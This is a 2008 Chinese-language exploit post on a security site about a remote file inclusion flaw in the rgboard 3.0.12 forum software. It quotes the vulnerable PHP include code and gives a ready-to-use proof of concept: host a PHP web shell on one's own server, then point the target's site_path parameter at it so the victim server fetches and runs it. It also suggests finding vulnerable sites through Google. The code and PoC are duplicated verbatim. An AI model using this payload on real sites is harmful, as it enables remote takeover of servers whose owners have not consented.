rgboard 3.0.12 远程文件包含漏洞
更新时间：2008年05月07日 19:28:01 作者：
Infos: rgboard 3.0.12 远程文件包含漏洞
Author: Flyh4t[w.s.t]
rgboard 3.0.12 是韩国的一个论坛程序,可以用google搜索rgboard查看使用的网站
vul code:
\include\bbs.lib.inc.php：
if (!defined('BBS_LIB_INC_INCLUDED')) {
define('BBS_LIB_INC_INCLUDED', 1);
// *– BBS_LIB_INC_INCLUDED START –*
if(!$site_path) $site_path='./';
require_once “{$site_path}include/lib.inc.php”;
//$site_path没有过滤直接放过来包含了
poc:
在你的网站放个phpshell,目录和文件名为/include/lib.inc.php
然后访问
httP://www.target.com/include/bbs.lib.inc.php?site_path=http://yousite/
\include\bbs.lib.inc.php：
if (!defined('BBS_LIB_INC_INCLUDED')) {
define('BBS_LIB_INC_INCLUDED', 1);
// *– BBS_LIB_INC_INCLUDED START –*
if(!$site_path) $site_path='./';
require_once “{$site_path}include/lib.inc.php”;
//$site_path没有过滤直接放过来包含了
poc:
在你的网站放个phpshell,目录和文件名为/include/lib.inc.php
然后访问
httP://www.target.com/include/bbs.lib.inc.php?site_path=http://yousite/
相关文章
文件上传漏洞在惠信中的应用...2007-01-01
WDB论坛存在多个严重漏洞...2007-01-01
黑客如何利用Ms05002溢出找“肉鸡” (图)...2007-01-01
注入过程中遇到DB_OWNER的想法(图)...2007-01-01
Debian OpenSSL包里的算法有问题，random number生成居然是在process pid里选取，导致生成key可穷举2008-05-05
一个意想不到的注入点发现过程...2007-01-01
AngelShell：让所有正向程序实现反向连接（应用篇）...2007-01-01
黑客之门的魅力：感染与加载(图)...2007-01-01
穷追猛打:破译Foxmail“密码天书”...2007-01-01
昨天发了open写的Flash 0day生成器，当时忘了说了，是在赏月那里看到的。结果今天open跟我说发出来之后，好多人找他问修改方法，所以就有了现在这篇文章。2008-05-05
最新评论